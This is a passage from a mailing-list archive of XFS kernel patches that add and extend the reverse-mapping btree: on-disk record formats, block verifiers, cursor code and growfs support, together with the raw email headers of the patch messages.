+++ b/fs/xfs/libxfs/xfs_btree.c @@ -1116,6 +1116,9 @@ xfs_btree_set_refs( case XFS_BTNUM_BMAP: xfs_buf_set_ref(bp, XFS_BMAP_BTREE_REF); break; + case XFS_BTNUM_RMAP: + xfs_buf_set_ref(bp, XFS_RMAP_BTREE_REF); + break; default: ASSERT(0); } diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h index 494ee0b..67e2bbd 100644 --- a/fs/xfs/libxfs/xfs_btree.h +++ b/fs/xfs/libxfs/xfs_btree.h @@ -38,17 +38,19 @@ union xfs_btree_ptr { }; union xfs_btree_key { - xfs_bmbt_key_t bmbt; - xfs_bmdr_key_t bmbr; /* bmbt root block */ - xfs_alloc_key_t alloc; - xfs_inobt_key_t inobt; + struct xfs_bmbt_key bmbt; + xfs_bmdr_key_t bmbr; /* bmbt root block */ + xfs_alloc_key_t alloc; + struct xfs_inobt_key inobt; + struct xfs_rmap_key rmap; }; union xfs_btree_rec { - xfs_bmbt_rec_t bmbt; - xfs_bmdr_rec_t bmbr; /* bmbt root block */ - xfs_alloc_rec_t alloc; - xfs_inobt_rec_t inobt; + struct xfs_bmbt_rec bmbt; + xfs_bmdr_rec_t bmbr; /* bmbt root block */ + struct xfs_alloc_rec alloc; + struct xfs_inobt_rec inobt; + struct xfs_rmap_rec rmap; }; /* diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index 0c89c87..ff24083 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -1369,6 +1369,33 @@ XFS_RMAP_INO_OWNER( #define XFS_RMAP_OWN_INODES (-7ULL) /* Inode chunk */ #define XFS_RMAP_OWN_MIN (-8ULL) /* guard */ +/* + * Data record structure + */ +struct xfs_rmap_rec { + __be32 rm_startblock; /* extent start block */ + __be32 rm_blockcount; /* extent length */ + __be64 rm_owner; /* extent owner */ +}; + +struct xfs_rmap_irec { + xfs_agblock_t rm_startblock; /* extent start block */ + xfs_extlen_t rm_blockcount; /* extent length */ + __uint64_t rm_owner; /* extent owner */ +}; + +/* + * Key structure + * + * We don't use the length for lookups + */ +struct xfs_rmap_key { + __be32 rm_startblock; /* extent start block */ +}; + +/* btree pointer type */ +typedef __be32 xfs_rmap_ptr_t; + #define XFS_RMAP_BLOCK(mp) \ (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ XFS_FIBT_BLOCK(mp) + 1 : \ diff --git a/fs/xfs/libxfs/xfs_rmap_btree.c b/fs/xfs/libxfs/xfs_rmap_btree.c new file mode 100644 index 0000000..9a02699 --- /dev/null +++ b/fs/xfs/libxfs/xfs_rmap_btree.c @@ -0,0 +1,187 @@ +/* + * Copyright (c) 2014 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "xfs.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_bit.h" +#include "xfs_sb.h" +#include "xfs_mount.h" +#include "xfs_inode.h" +#include "xfs_trans.h" +#include "xfs_alloc.h" +#include "xfs_btree.h" +#include "xfs_rmap_btree.h" +#include "xfs_trace.h" +#include "xfs_cksum.h" +#include "xfs_error.h" +#include "xfs_extent_busy.h" + +static struct xfs_btree_cur * +xfs_rmapbt_dup_cursor( + struct xfs_btree_cur *cur) +{ + return xfs_rmapbt_init_cursor(cur->bc_mp, cur->bc_tp, + cur->bc_private.a.agbp, cur->bc_private.a.agno); +} + +static bool +xfs_rmapbt_verify( + struct xfs_buf *bp) +{ + struct xfs_mount *mp = bp->b_target->bt_mount; + struct xfs_btree_block *block = XFS_BUF_TO_BLOCK(bp); + struct xfs_perag *pag = bp->b_pag; + unsigned int level; + + /* + * magic number and level verification + * + * During growfs operations, we can't verify the exact level or owner as + * the perag is not fully initialised and hence not attached to the + * buffer. In this case, check against the maximum tree depth. + * + * Similarly, during log recovery we will have a perag structure + * attached, but the agf information will not yet have been initialised + * from the on disk AGF. Again, we can only check against maximum limits + * in this case. + */ + if (block->bb_magic!= cpu_to_be32(XFS_RMAP_CRC_MAGIC)) + return false; + + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return false; + if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) + return false; + if (block->bb_u.s.bb_blkno != cpu_to_be64(bp->b_bn)) + return false; + if (pag && be32_to_cpu(block->bb_u.s.bb_owner) != pag->pag_agno) + return false; + + level = be16_to_cpu(block->bb_level); + if (pag && pag->pagf_init) { + if (level >= pag->pagf_levels[XFS_BTNUM_RMAPi]) + return false; + } else if (level >= mp->m_ag_maxlevels) + return false; + + /* numrecs verification */ + if (be16_to_cpu(block->bb_numrecs) > mp->m_rmap_mxr[level != 0]) + return false; + + /* sibling pointer verification */ + if (!block->bb_u.s.bb_leftsib || + (be32_to_cpu(block->bb_u.s.bb_leftsib) >= mp->m_sb.sb_agblocks && + block->bb_u.s.bb_leftsib != cpu_to_be32(NULLAGBLOCK))) + return false; + if (!block->bb_u.s.bb_rightsib || + (be32_to_cpu(block->bb_u.s.bb_rightsib) >= mp->m_sb.sb_agblocks && + block->bb_u.s.bb_rightsib != cpu_to_be32(NULLAGBLOCK))) + return false; + + return true; +} + +static void +xfs_rmapbt_read_verify( + struct xfs_buf *bp) +{ + if (!xfs_btree_sblock_verify_crc(bp)) + xfs_buf_ioerror(bp, -EFSBADCRC); + else if (!xfs_rmapbt_verify(bp)) + xfs_buf_ioerror(bp, -EFSCORRUPTED); + + if (bp->b_error) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_verifier_error(bp); + } +} + +static void +xfs_rmapbt_write_verify( + struct xfs_buf *bp) +{ + if (!xfs_rmapbt_verify(bp)) { + trace_xfs_btree_corrupt(bp, _RET_IP_); + xfs_buf_ioerror(bp, -EFSCORRUPTED); + xfs_verifier_error(bp); + return; + } + xfs_btree_sblock_calc_crc(bp); + +} + +const struct xfs_buf_ops xfs_rmapbt_buf_ops = { + .verify_read = xfs_rmapbt_read_verify, + .verify_write = xfs_rmapbt_write_verify, +}; + +static const struct xfs_btree_ops xfs_rmapbt_ops = { + .rec_len = sizeof(struct xfs_rmap_rec), + .key_len = sizeof(struct xfs_rmap_key), + + .dup_cursor = xfs_rmapbt_dup_cursor, + .buf_ops = &xfs_rmapbt_buf_ops, +}; + +/* + * Allocate a new allocation btree cursor. + */ +struct xfs_btree_cur * +xfs_rmapbt_init_cursor( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno) +{ + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + struct xfs_btree_cur *cur; + + cur = kmem_zone_zalloc(xfs_btree_cur_zone, KM_SLEEP); + cur->bc_tp = tp; + cur->bc_mp = mp; + cur->bc_btnum = XFS_BTNUM_RMAP; + cur->bc_flags = XFS_BTREE_CRC_BLOCKS; + cur->bc_blocklog = mp->m_sb.sb_blocklog; + cur->bc_ops = &xfs_rmapbt_ops; + cur->bc_nlevels = be32_to_cpu(agf->agf_levels[XFS_BTNUM_RMAP]); + + cur->bc_private.a.agbp = agbp; + cur->bc_private.a.agno = agno; + + return cur; +} + +/* + * Calculate number of records in an rmap btree block. + */ +int +xfs_rmapbt_maxrecs( + struct xfs_mount *mp, + int blocklen, + int leaf) +{ + blocklen -= XFS_RMAP_BLOCK_LEN; + + if (leaf) + return blocklen / sizeof(struct xfs_rmap_rec); + return blocklen / + (sizeof(struct xfs_rmap_key) + sizeof(xfs_rmap_ptr_t)); +} diff --git a/fs/xfs/libxfs/xfs_rmap_btree.h b/fs/xfs/libxfs/xfs_rmap_btree.h index a3b8f90..2e02362 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.h +++ b/fs/xfs/libxfs/xfs_rmap_btree.h @@ -19,6 +19,37 @@ #define __XFS_RMAP_BTREE_H__ struct xfs_buf; +struct xfs_btree_cur; +struct xfs_mount; + +/* rmaps only exist on crc enabled filesystems */ +#define XFS_RMAP_BLOCK_LEN XFS_BTREE_SBLOCK_CRC_LEN + +/* + * Record, key, and pointer address macros for btree blocks. + * + * (note that some of these may appear unused, but they are used in userspace) + */ +#define XFS_RMAP_REC_ADDR(block, index) \ + ((struct xfs_rmap_rec *) \ + ((char *)(block) + XFS_RMAP_BLOCK_LEN + \ + (((index) - 1) * sizeof(struct xfs_rmap_rec)))) + +#define XFS_RMAP_KEY_ADDR(block, index) \ + ((struct xfs_rmap_key *) \ + ((char *)(block) + XFS_RMAP_BLOCK_LEN + \ + ((index) - 1) * sizeof(struct xfs_rmap_key))) + +#define XFS_RMAP_PTR_ADDR(block, index, maxrecs) \ + ((xfs_rmap_ptr_t *) \ + ((char *)(block) + XFS_RMAP_BLOCK_LEN + \ + (maxrecs) * sizeof(struct xfs_rmap_key) + \ + ((index) - 1) * sizeof(xfs_rmap_ptr_t))) + +struct xfs_btree_cur *xfs_rmapbt_init_cursor(struct xfs_mount *mp, + struct xfs_trans *tp, struct xfs_buf *bp, + xfs_agnumber_t agno); +int xfs_rmapbt_maxrecs(struct xfs_mount *mp, int blocklen, int leaf); int xfs_rmap_alloc(struct xfs_trans *tp, struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, diff --git a/fs/xfs/libxfs/xfs_sb.c b/fs/xfs/libxfs/xfs_sb.c index 4742514..42b5696 100644 --- a/fs/xfs/libxfs/xfs_sb.c +++ b/fs/xfs/libxfs/xfs_sb.c @@ -35,6 +35,7 @@ #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" +#include "xfs_rmap_btree.h" /* * Physical superblock buffer manipulations. Shared with libxfs in userspace. @@ -717,6 +718,11 @@ xfs_sb_mount_common( mp->m_bmap_dmnr[0] = mp->m_bmap_dmxr[0] / 2; mp->m_bmap_dmnr[1] = mp->m_bmap_dmxr[1] / 2; + mp->m_rmap_mxr[0] = xfs_rmapbt_maxrecs(mp, sbp->sb_blocksize, 1); + mp->m_rmap_mxr[1] = xfs_rmapbt_maxrecs(mp, sbp->sb_blocksize, 0); + mp->m_rmap_mnr[0] = mp->m_rmap_mxr[0] / 2; + mp->m_rmap_mnr[1] = mp->m_rmap_mxr[1] / 2; + mp->m_bsize = XFS_FSB_TO_BB(mp, 1); mp->m_ialloc_inos = (int)MAX((__uint16_t)XFS_INODES_PER_CHUNK, sbp->sb_inopblock); diff --git a/fs/xfs/libxfs/xfs_shared.h b/fs/xfs/libxfs/xfs_shared.h index 5be5297..88efbb4 100644 --- a/fs/xfs/libxfs/xfs_shared.h +++ b/fs/xfs/libxfs/xfs_shared.h @@ -38,6 +38,7 @@ extern const struct xfs_buf_ops xfs_agi_buf_ops; extern const struct xfs_buf_ops xfs_agf_buf_ops; extern const struct xfs_buf_ops xfs_agfl_buf_ops; extern const struct xfs_buf_ops xfs_allocbt_buf_ops; +extern const struct xfs_buf_ops xfs_rmapbt_buf_ops; extern const struct xfs_buf_ops xfs_attr3_leaf_buf_ops; extern const struct xfs_buf_ops xfs_attr3_rmt_buf_ops; extern const struct xfs_buf_ops xfs_bmbt_buf_ops; @@ -210,6 +211,7 @@ int xfs_log_calc_minimum_size(struct xfs_mount *); #define XFS_INO_BTREE_REF 3 #define XFS_ALLOC_BTREE_REF 2 #define XFS_BMAP_BTREE_REF 2 +#define XFS_RMAP_BTREE_REF 2 #define XFS_DIR_BTREE_REF 2 #define XFS_INO_REF 2 #define XFS_ATTR_BTREE_REF 1 diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index d9c9834..8030627 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -90,6 +90,8 @@ typedef struct xfs_mount { uint m_bmap_dmnr[2]; /* min bmap btree records */ uint m_inobt_mxr[2]; /* max inobt btree records */ uint m_inobt_mnr[2]; /* min inobt btree records */ + uint m_rmap_mxr[2]; /* max rmap btree records */ + uint m_rmap_mnr[2]; /* min rmap btree records */ uint m_ag_maxlevels; /* XFS_AG_MAXLEVELS */ uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ uint m_in_maxlevels; /* max inobt btree levels. */ From darrick.wong@oracle.com Tue Oct 6 23:56:04 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E36AB7F73 for ; Tue, 6 Oct 2015 23:56:04 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D4C958F8035 for ; Tue, 6 Oct 2015 21:56:04 -0700 (PDT) X-ASG-Debug-ID: 1444193763-04cb6c57850d400001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id SDEwVZf8BWbEeHqj (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:56:03 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0022.oracle.com (aserv0022.oracle.com [141.146.126.234]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974u11M010500 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:56:02 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974u12U029973 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:56:01 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974u0Xi018374; Wed, 7 Oct 2015 04:56:00 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:56:00 -0700 Subject: [PATCH 11/58] xfs: enhance the on-disk rmap btree format From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 11/58] xfs: enhance the on-disk rmap btree format To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:55:59 -0700 Message-ID: <20151007045559.30457.47862.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0022.oracle.com [141.146.126.234] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193763 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Expand the rmap btree to record owner and offset info. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_format.h | 68 ++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_rmap_btree.c | 2 + 2 files changed, 69 insertions(+), 1 deletion(-) diff --git a/fs/xfs/libxfs/xfs_format.h b/fs/xfs/libxfs/xfs_format.h index ff24083..f0cf383 100644 --- a/fs/xfs/libxfs/xfs_format.h +++ b/fs/xfs/libxfs/xfs_format.h @@ -1369,6 +1369,8 @@ XFS_RMAP_INO_OWNER( #define XFS_RMAP_OWN_INODES (-7ULL) /* Inode chunk */ #define XFS_RMAP_OWN_MIN (-8ULL) /* guard */ +#define XFS_RMAP_NON_INODE_OWNER(owner) (!!((owner) & (1ULL << 63))) + /* * Data record structure */ @@ -1376,12 +1378,44 @@ struct xfs_rmap_rec { __be32 rm_startblock; /* extent start block */ __be32 rm_blockcount; /* extent length */ __be64 rm_owner; /* extent owner */ + __be64 rm_offset; /* offset within the owner */ }; +/* + * rmap btree record + * rm_blockcount:31 is the unwritten extent flag (same as l0:63 in bmbt) + * rm_blockcount:0-30 are the extent length + * rm_offset:63 is the attribute fork flag + * rm_offset:62 is the bmbt block flag + * rm_offset:0-61 is the block offset within the inode + */ +#define XFS_RMAP_OFF_ATTR ((__uint64_t)1ULL << 63) +#define XFS_RMAP_OFF_BMBT ((__uint64_t)1ULL << 62) +#define XFS_RMAP_LEN_UNWRITTEN ((xfs_extlen_t)1U << 31) + +#define XFS_RMAP_OFF_MASK ~(XFS_RMAP_OFF_ATTR | XFS_RMAP_OFF_BMBT) +#define XFS_RMAP_LEN_MASK ~XFS_RMAP_LEN_UNWRITTEN + +#define XFS_RMAP_OFF(off) ((off) & XFS_RMAP_OFF_MASK) +#define XFS_RMAP_LEN(len) ((len) & XFS_RMAP_LEN_MASK) + +#define XFS_RMAP_IS_BMBT(off) (!!((off) & XFS_RMAP_OFF_BMBT)) +#define XFS_RMAP_IS_ATTR_FORK(off) (!!((off) & XFS_RMAP_OFF_ATTR)) +#define XFS_RMAP_IS_UNWRITTEN(len) (!!((len) & XFS_RMAP_LEN_UNWRITTEN)) + +#define RMAPBT_STARTBLOCK_BITLEN 32 +#define RMAPBT_EXNTFLAG_BITLEN 1 +#define RMAPBT_BLOCKCOUNT_BITLEN 31 +#define RMAPBT_OWNER_BITLEN 64 +#define RMAPBT_ATTRFLAG_BITLEN 1 +#define RMAPBT_BMBTFLAG_BITLEN 1 +#define RMAPBT_OFFSET_BITLEN 62 + struct xfs_rmap_irec { xfs_agblock_t rm_startblock; /* extent start block */ xfs_extlen_t rm_blockcount; /* extent length */ __uint64_t rm_owner; /* extent owner */ + __uint64_t rm_offset; /* offset within the owner */ }; /* @@ -1391,6 +1425,8 @@ struct xfs_rmap_irec { */ struct xfs_rmap_key { __be32 rm_startblock; /* extent start block */ + __be64 rm_owner; /* extent owner */ + __be64 rm_offset; /* offset within the owner */ }; /* btree pointer type */ @@ -1401,6 +1437,38 @@ typedef __be32 xfs_rmap_ptr_t; XFS_FIBT_BLOCK(mp) + 1 : \ XFS_IBT_BLOCK(mp) + 1) +static inline void +xfs_owner_info_unpack( + struct xfs_owner_info *oinfo, + uint64_t *owner, + uint64_t *offset) +{ + __uint64_t r; + + *owner = oinfo->oi_owner; + r = oinfo->oi_offset; + if (oinfo->oi_flags & XFS_RMAP_INO_ATTR_FORK) + r |= XFS_RMAP_OFF_ATTR; + if (oinfo->oi_flags & XFS_RMAP_BMBT_BLOCK) + r |= XFS_RMAP_OFF_BMBT; + *offset = r; +} + +static inline void +xfs_owner_info_pack( + struct xfs_owner_info *oinfo, + uint64_t owner, + uint64_t offset) +{ + oinfo->oi_owner = owner; + oinfo->oi_offset = XFS_RMAP_OFF(offset); + oinfo->oi_flags = 0; + if (XFS_RMAP_IS_ATTR_FORK(offset)) + oinfo->oi_flags |= XFS_RMAP_INO_ATTR_FORK; + if (XFS_RMAP_IS_BMBT(offset)) + oinfo->oi_flags |= XFS_RMAP_BMBT_BLOCK; +} + /* * BMAP Btree format definitions * diff --git a/fs/xfs/libxfs/xfs_rmap_btree.c b/fs/xfs/libxfs/xfs_rmap_btree.c index 9a02699..5671771 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.c +++ b/fs/xfs/libxfs/xfs_rmap_btree.c @@ -63,7 +63,7 @@ xfs_rmapbt_verify( * from the on disk AGF. Again, we can only check against maximum limits * in this case. */ - if (block->bb_magic!= cpu_to_be32(XFS_RMAP_CRC_MAGIC)) + if (block->bb_magic != cpu_to_be32(XFS_RMAP_CRC_MAGIC)) return false; if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) From darrick.wong@oracle.com Tue Oct 6 23:56:11 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D63D37F37 for ; Tue, 6 Oct 2015 23:56:10 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 54F28AC007 for ; Tue, 6 Oct 2015 21:56:10 -0700 (PDT) X-ASG-Debug-ID: 1444193768-04cbb03f120d4c0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id cyb1YVfJ6qIkaC3Z (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:56:08 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974u7OB010564 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:56:07 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t974u7Hs003115 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:56:07 GMT Received: from abhmp0008.oracle.com (abhmp0008.oracle.com [141.146.116.14]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974u74n002814; Wed, 7 Oct 2015 04:56:07 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:56:06 -0700 Subject: [PATCH 12/58] xfs: add rmap btree growfs support From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 12/58] xfs: add rmap btree growfs support To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:56:05 -0700 Message-ID: <20151007045605.30457.1194.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193768 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Now we can read and write rmap btree blocks, we can add support to the growfs code to initialise new rmap btree blocks. Signed-off-by: Dave Chinner --- fs/xfs/xfs_fsops.c | 68 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 68 insertions(+) diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index b3d1665..38c78da 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -32,6 +32,7 @@ #include "xfs_btree.h" #include "xfs_alloc_btree.h" #include "xfs_alloc.h" +#include "xfs_rmap_btree.h" #include "xfs_ialloc.h" #include "xfs_fsops.h" #include "xfs_itable.h" @@ -243,6 +244,12 @@ xfs_growfs_data_private( agf->agf_roots[XFS_BTNUM_CNTi] = cpu_to_be32(XFS_CNT_BLOCK(mp)); agf->agf_levels[XFS_BTNUM_BNOi] = cpu_to_be32(1); agf->agf_levels[XFS_BTNUM_CNTi] = cpu_to_be32(1); + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { + agf->agf_roots[XFS_BTNUM_RMAPi] = + cpu_to_be32(XFS_RMAP_BLOCK(mp)); + agf->agf_levels[XFS_BTNUM_RMAPi] = cpu_to_be32(1); + } + agf->agf_flfirst = 0; agf->agf_fllast = cpu_to_be32(XFS_AGFL_SIZE(mp) - 1); agf->agf_flcount = 0; @@ -382,6 +389,67 @@ xfs_growfs_data_private( if (error) goto error0; + /* RMAP btree root block */ + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) { + struct xfs_rmap_rec *rrec; + struct xfs_btree_block *block; + bp = xfs_growfs_get_hdr_buf(mp, + XFS_AGB_TO_DADDR(mp, agno, XFS_RMAP_BLOCK(mp)), + BTOBB(mp->m_sb.sb_blocksize), 0, + &xfs_rmapbt_buf_ops); + if (!bp) { + error = -ENOMEM; + goto error0; + } + + xfs_btree_init_block(mp, bp, XFS_RMAP_CRC_MAGIC, 0, 2, + agno, XFS_BTREE_CRC_BLOCKS); + block = XFS_BUF_TO_BLOCK(bp); + + + /* + * mark the AG header regions as static metadata The BNO + * btree block is the first block after the headers, so + * it's location defines the size of region the static + * metadata consumes. + * + * Note: unlike mkfs, we never have to account for log + * space when growing the data regions + */ + rrec = XFS_RMAP_REC_ADDR(block, 1); + rrec->rm_startblock = 0; + rrec->rm_blockcount = cpu_to_be32(XFS_BNO_BLOCK(mp)); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_FS); + be16_add_cpu(&block->bb_numrecs, 1); + + /* account freespace btree root blocks */ + rrec = XFS_RMAP_REC_ADDR(block, 2); + rrec->rm_startblock = cpu_to_be32(XFS_BNO_BLOCK(mp)); + rrec->rm_blockcount = cpu_to_be32(2); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_AG); + be16_add_cpu(&block->bb_numrecs, 1); + + /* account inode btree root blocks */ + rrec = XFS_RMAP_REC_ADDR(block, 3); + rrec->rm_startblock = cpu_to_be32(XFS_IBT_BLOCK(mp)); + rrec->rm_blockcount = cpu_to_be32(XFS_RMAP_BLOCK(mp) - + XFS_IBT_BLOCK(mp)); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_INOBT); + be16_add_cpu(&block->bb_numrecs, 1); + + /* account for rmap btree root */ + rrec = XFS_RMAP_REC_ADDR(block, 4); + rrec->rm_startblock = cpu_to_be32(XFS_RMAP_BLOCK(mp)); + rrec->rm_blockcount = cpu_to_be32(1); + rrec->rm_owner = cpu_to_be64(XFS_RMAP_OWN_AG); + be16_add_cpu(&block->bb_numrecs, 1); + + error = xfs_bwrite(bp); + xfs_buf_relse(bp); + if (error) + goto error0; + } + /* * INO btree root block */ From darrick.wong@oracle.com Tue Oct 6 23:56:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 554007F7E for ; Tue, 6 Oct 2015 23:56:17 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id BB988AC009 for ; Tue, 6 Oct 2015 21:56:16 -0700 (PDT) X-ASG-Debug-ID: 1444193775-04cbb03f150d4d0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id RQAzu8YDPfKZpS7c (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:56:15 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by aserp1040.oracle.com 